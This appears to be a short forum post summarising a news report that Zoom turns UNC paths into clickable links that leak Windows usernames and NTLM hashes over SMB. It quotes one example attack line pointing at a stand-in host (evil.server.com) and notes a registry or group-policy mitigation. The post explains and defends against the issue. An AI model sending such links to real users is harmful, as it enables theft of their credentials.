Zoom Lets Attackers Steal Windows Credentials via UNC Links
bleepingcomputer.com
bleepingcomputer.com
Basically attacker sends:
\\evil.server.com\img\cat.jpg
Zoom client makes it a clickable link. When clicked, SMB sends your username and NTLM password hash to the remote server (just like it would when connecting to any other file share).Can be mitigated with a group policy or registry tweak (Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers / RestrictSendingNTLMTraffic) but that can cause side effects (particularly when joined to a domain).
IMO the out-of-box OS behavior ought to ask you before sending any credentials to a strange server - like SSH clients do the first time they connect to a new host. (After all, it's not like you walk down the street advertising your ID to strangers).